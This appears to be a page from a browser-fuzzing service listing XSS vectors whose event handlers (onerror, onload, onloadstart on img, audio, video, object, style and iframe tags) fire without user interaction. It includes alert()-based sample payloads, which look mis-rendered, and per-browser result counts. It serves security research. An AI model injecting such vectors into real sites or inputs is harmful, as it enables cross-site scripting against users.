XSS vectors that execute automatically

Safari logo 5
Firefox logo 5
Chrome logo 7

This vector shows which events fire without user interaction

Created by: hackvertor

Created on: Wednesday, April 17, 2024 at 6:18:25 PM

Updated on: Tuesday, December 3, 2024 at 12:30:11 PM

Vector type: XSS

Vector charset: UTF-8

Template used:
<$[data1] src=1 srcdoc=1 data=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]>
<$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img->onerror src=1 srcdoc=1 data=1 href=1 ="alert('img->onerror->')"></img->onerror>
<img->onerror ="alert('img->onerror->')"></img->onerror>
<audio->onerror src=1 srcdoc=1 data=1 href=1 ="alert('audio->onerror->')"></audio->onerror>
<audio->onerror ="alert('audio->onerror->')"></audio->onerror>
<audio->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('audio->onloadstart->')"></audio->onloadstart>
<audio->onloadstart ="alert('audio->onloadstart->')"></audio->onloadstart>
<video->onerror src=1 srcdoc=1 data=1 href=1 ="alert('video->onerror->')"></video->onerror>
<video->onerror ="alert('video->onerror->')"></video->onerror>
<video->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('video->onloadstart->')"></video->onloadstart>
<video->onloadstart ="alert('video->onloadstart->')"></video->onloadstart>
<object->onerror src=1 srcdoc=1 data=1 href=1 ="alert('object->onerror->')"></object->onerror>
<object->onerror ="alert('object->onerror->')"></object->onerror>
<style->onload src=1 srcdoc=1 data=1 href=1 ="alert('style->onload->')"></style->onload>
<style->onload ="alert('style->onload->')"></style->onload>
<iframe->onload src=1 srcdoc=1 data=1 href=1 ="alert('iframe->onload->')"></iframe->onload>
<iframe->onload ="alert('iframe->onload->')"></iframe->onload>

Fuzz results

Safari logo
Safari 17.4.1 Unknown Unknown

Updated

Wed Apr 17 2024
Found 5 results
Loading...
Firefox logo
Firefox 125.0 Unknown Unknown

Updated

Thu Apr 18 2024
Found 5 results
Loading...
Chrome logo
Chrome 124.0.0.0 Unknown Unknown

Updated

Wed Apr 24 2024
Found 7 results
Loading...